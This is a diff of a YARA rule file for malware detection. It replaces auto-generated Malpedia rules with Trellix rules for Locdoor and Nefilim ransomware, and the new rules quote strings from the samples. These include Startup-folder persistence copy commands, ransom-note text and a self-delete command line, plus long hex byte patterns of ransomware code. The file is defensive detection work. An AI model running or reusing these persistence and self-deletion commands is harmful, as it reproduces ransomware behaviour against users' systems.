+		$s8 = "std::basic_string<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator []" fullword wide
+		$s9 = "std::vector<struct CryptoPP::ProjectivePoint,class std::allocator<struct CryptoPP::ProjectivePoint> >::operator []" fullword wide
+		$s10 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator *" fullword wide
+		$s11 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator +=" fullword wide
+		$s12 = "std::vector<struct CryptoPP::WindowSlider,class std::allocator<struct CryptoPP::WindowSlider> >::operator []" fullword wide
+		$s13 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator ++" fullword wide
+		$s14 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator *" fullword wide
+		$s15 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::_Compat" fullword wide
+		$s16 = "std::vector<class CryptoPP::PolynomialMod2,class std::allocator<class CryptoPP::PolynomialMod2> >::operator []" fullword wide
+		$s17 = "DL_ElgamalLikeSignatureAlgorithm: this signature scheme does not support message recovery" fullword ascii
+		$s18 = "std::vector<struct CryptoPP::ECPPoint,class std::allocator<struct CryptoPP::ECPPoint> >::operator []" fullword wide
+		$s19 = "std::vector<struct CryptoPP::EC2NPoint,class std::allocator<struct CryptoPP::EC2NPoint> >::operator []" fullword wide
+		$s20 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::_Compat" fullword wide
 
 	condition:
-		7 of them and filesize <614400
+		( uint16(0)==0x5a4d and filesize <17000KB and (1 of ($x*) and 4 of them )) or ( all of them )
 }
-rule MALPEDIA_Win_Fudmodule_Auto : FILE
+rule TRELLIX_ARC_Locdoor_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c661ff1b-7299-5697-883f-829f2d507cdf"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fudmodule_auto.yar#L1-L171"
-		license_url = "N/A"
-		logic_hash = "18effdd37514264473c04c4c667c18f4f01327ffa64b50ebf53a4b08029b6c60"
+		description = "Rule to detect Locdoor/DryCry"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "d855d7fd-a1e3-561e-906e-103752285b0f"
+		date = "2018-09-02"
+		modified = "2020-08-14"
+		reference = "https://twitter.com/leotpsc/status/1036180615744376832"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_locdoor.yar#L1-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "0000c55f7cdbbad9bacba0e79637696f3bfeb95a5f71dfa0b398bc77a207eb41"
+		logic_hash = "c9519279a929feedae2bab58cd0de91f6c447827fa59afa927726fde84d21e1c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Locdoor"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 0f99c4 660fc8 f6d4 58 e9???????? e9???????? 660fbae405 }
-		$sequence_1 = { 66d3d3 f7db f6d3 4883c420 }
-		$sequence_2 = { e9???????? 0fb78120010000 b9b01d0000 663bc1 76e3 b97d4f0000 }
-		$sequence_3 = { d3d8 31d2 0c5b 89d0 }
-		$sequence_4 = { 498b8c24d8090000 e8???????? 498b8c24e0090000 e8???????? 4983bc24d809000000 488bb42480000000 488b5c2478 }
-		$sequence_5 = { 488d45af 41b908000000 4d8bc5 4889442420 ff96d00d0000 }
-		$sequence_6 = { 0f855b73ffff 66d3fe 80fbfc 09e6 89f9 6681c69719 }
-		$sequence_7 = { 41ffc1 453bc8 7e27 b818000000 8bc8 }
-		$sequence_8 = { 55 57 4154 488dac2400feffff 4881ec00030000 488b05???????? 4833c4 }
-		$sequence_9 = { 210a dd63c2 58 5f }
-		$sequence_10 = { 85c0 755f 488b4c2470 e8???????? 448b86b40c0000 }
-		$sequence_11 = { 0facea1a 56 660fbdf4 0fc1ca 488b5510 d2e5 }
-		$sequence_12 = { f9 81fd658b2961 83c101 84c0 660fbae005 d2fb }
-		$sequence_13 = { 66d3f3 0fcf 8b3e 6681feaa7e 00ef 18cb }
-		$sequence_14 = { 48ff25???????? 4889742410 55 57 4154 488bec 4883ec60 }
-		$sequence_15 = { ff96d00d0000 4c8b5d97 4d3bdc 75c8 }
+		$s1 = "copy \"Locdoor.exe\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\temp00000000.exe\"" fullword ascii
+		$s2 = "copy wscript.vbs C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wscript.vbs" fullword ascii
+		$s3 = "!! Your computer's important files have been encrypted! Your computer's important files have been encrypted!" fullword ascii
+		$s4 = "echo CreateObject(\"SAPI.SpVoice\").Speak \"Your computer's important files have been encrypted! " fullword ascii
+		$s5 = "! Your computer's important files have been encrypted! " fullword ascii
+		$s7 = "This program is not supported on your operating system." fullword ascii
+		$s8 = "echo Your computer's files have been encrypted to Locdoor Ransomware! To make a recovery go to localbitcoins.com and create a wa" ascii
+		$s9 = "Please enter the password." fullword ascii
 
 	condition:
-		7 of them and filesize <795648
+		( uint16(0)==0x5a4d and filesize <600KB) and all of them
 }
-rule MALPEDIA_Win_Megacortex_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Nefilim_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7fddab37-921e-5d3c-ad85-73c5c61f21f7"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.megacortex_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "c51529de49cb40cceae5744ecd99824ed147bc3c171c405f7c4b90f895a230e9"
+		description = "Rule to detect Nefilim ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "55d9cb20-5071-5dce-a46f-a20816ba379f"
+		date = "2020-03-17"
+		modified = "2020-04-03"
+		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_NEFILIM.yar#L3-L48"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6"
+		logic_hash = "d8cd5d2dd552d3e9f57f7bd244e941fe89a96ab16bbcc71911e8e2a519f53f03"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Nefilim"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 8b7d0c 8bf0 83c40c 85f6 0f8517010000 }
-		$sequence_1 = { 895d84 7202 8b06 6a00 6800000003 6a03 6a00 }
-		$sequence_2 = { 50 8d85c4fdffff 50 e8???????? 8b95e0fdffff 83c408 c645fc01 }
-		$sequence_3 = { 8d4101 2bf0 89450c 8975ec ff7508 83fe03 0f823a020000 }
-		$sequence_4 = { e8???????? 8b4508 8d4d08 83c404 c645f801 8945fc c7450800000000 }
-		$sequence_5 = { 83f81f 0f87b70e0000 52 51 e8???????? 83c408 33c0 }
-		$sequence_6 = { f7d8 1bc0 23c1 50 8b45ec 51 8bf4 }
-		$sequence_7 = { 1bf6 23f1 8bce 2bca 85f6 be01000000 0f44ce }
-		$sequence_8 = { e8???????? 83c40c 8d8d2cffffff e8???????? 8d8d44ffffff c645fc2e e8???????? }
-		$sequence_9 = { 6a00 6a00 68000000c0 8d45cc c645fc05 50 8d8d28feffff }
+		$s1 = "C:\\Users\\Administrator\\Desktop\\New folder\\Release\\NEFILIM.pdb" fullword ascii
+		$s2 = "oh how i did it??? bypass sofos hah" fullword ascii
+		$s3 = " /c timeout /t 3 /nobreak && del \"" fullword wide
+		$s4 = "NEFILIM-DECRYPT.txt" fullword wide
+		$op0 = { db ff ff ff 55 8b ec 83 ec 24 53 56 57 89 55 f4 }
+		$op1 = { 60 be 00 d0 40 00 8d be 00 40 ff ff 57 eb 0b 90 }
+		$op2 = { 84 e0 40 00 90 d1 40 00 08 }
+		$bp = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????53568D??????????E8????????33??6A??5939????76??5783????75??8B????8D????A5A5A58D??????????A5508D????E8????????596A??588B????8D????80????75??48C6????79??EB??FE????33??8A??????8B????30????43413B????72??5F8B????8B????6A??2B??5E8A????88??404E75??5E5BC9C3558B??81??????????53FF????8D??????????50FF??????????68????????8D??????????50FF??????????33??53536A??535368????????8D??????????50FF??????????89????3B??0F84????????56578D????5053BE????????5689????FF??????????5056E8????????83????85??75??53FF??????????FF????8B??????????53FF??50FF??????????8D????51505689????FF??????????5056E8????????83????85??74??8B????89????8D????50FF????E8????????59595385??74??8D????50FF????FF????FF????FF??????????FF????53FF??50FF??????????5F5E5BC9C3558B??83????81??????????535657FF????8D????????????50FF??????????8B??????????68????????8D????????????50FF??8D??????508D????????????50FF??????????89??????83????0F84????????8B??????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????F6????????FF????8D????????????5074??FF??????????8D??????508D????????????50FF??68????????8D????????????50FF??8D????????????50E8????????E9????????FF??????????8D??????508D????????????50FF??8D??????50E8????????8B??C7????????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????8D??????50FF??85??74??8D????????????50E8????????598D??????50FF??????FF??????????85??0F85????????FF??????FF??????????5F5E5B8B??5DC3558B??81??????????53565768????????FF??????????8B??????????5033??57FF??8B??????????50FF??68????????89????FF??????????89????B8????????39????74??8B????2B??8A??FF????88????4039????75??57576A??575768????????FF????FF??????????89????3B??0F84????????8D????5150FF??????????6A??57FF??50FF??6A??5789????FF??50FF??FF????89????E8????????FF????E8????????595968????????57FF??50FF??68????????5789????FF??50FF??FF????8B????89????E8????????FF????8B????E8????????8B??????????59595757FF????FF????FF????FF??57FF??????????578D????5068????????FF????FF????FF??????????FF??????????83????0F84????????FF??????????83????0F84????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF????FF????FF??????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF??????????50FF????FF????FF??????????8B????8B????3B??0F8C????????7F??81??????????0F86????????89????89????3B??0F8C????????7F??3B??0F86????????EB??8B????2B????1B????89????0F88????????7F??81??????????0F82????????68????????57FF??50FF??????????5757FF????89????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????5757FF????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF??FF????5750FF??????????81????????????8B????11????39????0F8C????????0F8F????????8B????39????0F82????????E9????????3B??7C??7F??81??????????76??68????????57FF??50FF??????????575733??89????5133??50FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????575733??5050FF????FF??578D????5068????????EB??5157FF??50FF??????????575733??89????5133??50FF????FF??578D????50FF????FF????FF????FF??????????FF????8B????FF????FF????FF????E8????????83????575733??5050FF????FF??578D????50FF????FF????FF????FF??????????FF????57FF??50FF??????????FF????FF??????????FF????57FF??8B??????????50FF??FF???? }
 
 	condition:
-		7 of them and filesize <1556480
+		uint16(0)==0x5a4d and filesize <200KB and all of ($s*) or all of ($op*) or $bp
 }
-rule MALPEDIA_Win_Sathurbot_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Nefilim_Signed : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "74231d79-bc89-53a0-abc2-544d7739c735"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sathurbot_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "3f29ba6959f8023f24a58bd7b1fb03852622ec3e610d203883720a7aae8ca8ad"
+		description = "Rule to detect Nefilim samples digitally signed"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "a9a5daf0-4cfb-556a-b20a-72283fb1a0f9"
+		date = "2020-04-02"
+		modified = "2020-08-14"
+		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_NEFILIM.yar#L50-L72"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd5"
+		logic_hash = "7625eb7de1ebb2f5410552b8983379f213d639f5e146a5d951975b69eb8111d3"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b86b2c1f0a b9b2fd990f }
-		$sequence_1 = { b94d1e0277 0f45c1 e9???????? 3ddc03f324 0f8582f1ffff a1???????? 8d48ff }
-		$sequence_2 = { e9???????? 81ff6e65f902 7f1b 81ffded97800 ba96b0469a 0f8548e7ffff bfadab28bf }
-		$sequence_3 = { e9???????? b817aff9fc e9???????? 3dcf25ea47 0f85eef0ffff a1???????? 8d48ff }
-		$sequence_4 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8d3b4c9a9 b9c79b14fb }
-		$sequence_5 = { c744240400000000 89f1 e8???????? 83ec0c bafb0541ae b828f7da39 eb8f }
-		$sequence_6 = { b994a742ce 0f45c1 e9???????? 3d98320e47 0f8561fcffff 8a45ea 8a4deb }
-		$sequence_7 = { f6c201 ba67157693 b85ee72ce5 0f45d0 e9???????? 3d4c9cd69e 89c2 }
-		$sequence_8 = { e8???????? 83ec0c 8b45f0 8945d8 894610 89f1 e8???????? }
-		$sequence_9 = { bf51a32250 81fa39ccdcb8 74d7 ebfe 8b4304 83ec04 890424 }
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Nefilim"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	condition:
-		7 of them and filesize <2727936
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Red GmbH/CN=Red GmbH" and pe.signatures[i].serial=="00:b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" or pe.signatures[i].thumbprint=="5b:19:58:8b:78:74:0a:4c:5d:08:41:99:dc:0f:52:a6:1f:38:00:99")
 }
-rule MALPEDIA_Win_Whispergate_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_RANSOM_Nefilim_Go : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6714083d-3e17-55d3-a1f8-8bf9ddb1ef17"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whispergate_auto.yar#L1-L119"
-		license_url = "N/A"
-		logic_hash = "32397ef108fba7d133f035121fc33f6fa3fbeba74a5870442ebf4d00a19bf608"
+		description = "Rule to detect the new Nefilim written in GO"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "a8809060-c646-5d54-88e7-c8054305ee6c"
+		date = "2020-07-13"
+		modified = "2020-08-14"
+		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_NEFILIM.yar#L74-L98"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "a51fec27e478a1908fc58c96eb14f3719608ed925f1b44eb67bbcc67bd4c4099"
+		logic_hash = "f0b10286fb1623a32bcf1f30cadce2901f7711cb36db6bbe812f6c2e03862270"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Nefilim"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 89d0 80f92f 0f846b060000 80f95c 0f8462060000 8d50ff }
-		$sequence_1 = { 0f8409010000 83fb2f 0f8400010000 83fb5c }
-		$sequence_2 = { f6044840 0f8448ffffff 397dcc 7275 8b45d0 85c0 756e }
-		$sequence_3 = { 53 31c0 0fa2 85c0 0f84db000000 }
-		$sequence_4 = { 85ed 75d3 8b542420 8b742424 }
-		$sequence_5 = { 55 57 56 53 81ec2c010000 8b842440010000 85c0 }
-		$sequence_6 = { 75e8 890424 e8???????? 89c7 8b44241c }
-		$sequence_7 = { 56 53 83ec10 8b742420 813e???????? 740e }
-		$sequence_8 = { e9???????? 837dd427 0f84e4000000 83c001 }
-		$sequence_9 = { 83c001 85c9 751e 83fa2a 7444 83fa3f 743f }
+		$pattern = { FF20476F206275696C642049443A20226A744368374D37436A4A5732634C5F636633374A2F49625946794336635A64735F4D796A56633461642F486B6D36694A4D39327847785F4F2D65746744692F664E37434C43622D59716E374D795947565A686F220A20FFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108766B83EC0CC744241400000000C7442418000000008B4424108400890424E88D0200008B44240485C0740789C183F8FF7514C744241400000000C74424180000000083C40CC3894C24088B44241083C004890424E8570200008B4424048B4C2408894C24148944241883C40CC3E8AE5A0400E979FFFFFFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EC00000083EC108B44241885C00F84C30000008B4424148400890424E8FD0100008B44240485C0742E89C183F8FF74E38B44241839C10F85800000008B44241C894424048B44241483C004890424E88B12000083C410C3E8620303008B442414890424C744240400000000C7442408FFFFFFFFE8A61200000FB644240C84C07507E868030300EB8B8B44241C894424048B4424148D4804890C24E83F1200008B442418894424048B442414890424E82B120000E83603030083C410C38D05408E4E008904248D05B8CC510089442404E8DA3F02000F0B8D05408E4E008904248D05B0CC510089442404E8C03F02000F0BE899590400E9F4FEFFFFCCCCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B4424088B4C240CF00FB14D000F94442410C3CCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B44240889C1F00FC1450001C1894C240CC3CCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B7424088B7C240C8B45008B550489C389D101F311F9F00FC74D0075F1895C2410894C2414C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B442404A90700000074068B05000000000F6F000F7F4424080F77C3CCCCCCCCE9CBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9BBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C24048B442408874500C3CCCCCCCCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B4424040FBCC074058944240CC38B4424080FBCC0740883C0208944240CC3C744240C40000000C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC83EC208B4424248B088B54242889CB01D1894C241C8B6804890424895C2404896C2408894C240C8B5C242C11DD896C2418896C2410E8160100000FB644241484C074C08B44241C894424308B4424188944243483C420C3CCCCCCCCCCCCCCCCCC83EC208B4424248B08894C24188B50048954241C890424894C2404895424088B5C2428895C240C8B6C242C896C2410E8BC0000000FB644241484C074C68B442418894424308B44241C8944243483C420C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9EBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DB000000CCCCCCCCCCCCCCCCCCCCCCE97B000000CCCCCCCCCCCCCCCCCCCCCCE9CB000000CCCCCCCCCCCCCCCCCCCCCCE9BBFEFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B2D000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCC8B5C24048B44240889C1F00FC10301C88944240CC3CCCCCCCCCCCCCCCCCCCCCC8B5C24048B44240887038944240CC3CCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B442404A90700000074068B05000000008D5C24080F6F000F7F030F77C3CCCC8B442404A90700000074068B05000000000F6F4424080F7F000F77B800000000F00FC10424C3CCCCCCCCCCCCCCCCCCCC8B4424048A5C2408F00818C3CCCCCCCC8B4424048A5C2408F02018C3CCCCCCCC648B0D140000008B89000000003B610876098B4424088944240CC3E860550400EBDECCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240801000000E8AF4400008B44240C8944241C83C410C3E80E550400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240802000000E85F4400008B44240C8944241C83C410C3E8BE540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240810000000E80F4400008B44240C8944241C83C410C3E86E540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC83EC108D42048B008B4C2414890C248B4C2418894C240489442408E8D04300008B44240C8944241C83C410C3CCCCCCCC648B0D140000008B89000000003B6108762C83EC108B4424148B088B400489442408890C248B44241889442404E88E4300008B44240C8944241C83C410C3E8ED530400EBBBCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B600000083EC108B442414F30F10000F57C90F2EC175060F8B860000000F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240804000000E8C74200008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E80F530400E92AFFFFFFCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B800000083EC108B442414F20F10000F57C9660F2EC175060F8B87000000660F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240808000000E8E54100008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E82D520400E928FFFFFFCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E815FEFFFF8B44241083C0048B4C2408890424894C2404E8FEFDFFFF8B4424088944241883C40CC3E8CD510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E895FEFFFF8B44241083C0088B4C2408890424894C2404E87EFEFFFF8B4424088944241883C40CC3E86D510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86F200000083EC248B4424288B0885C974678B49048B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E8B2FA03008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8F46603008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E81E8E00008B44240C8B4C2408890C2489442404E87A3602000F0BE853500400E9EEFEFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EF00000083EC248B4424288B0885C974648B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E895F903008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8D76503008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E8018D00008B44240C8B4C2408890C248944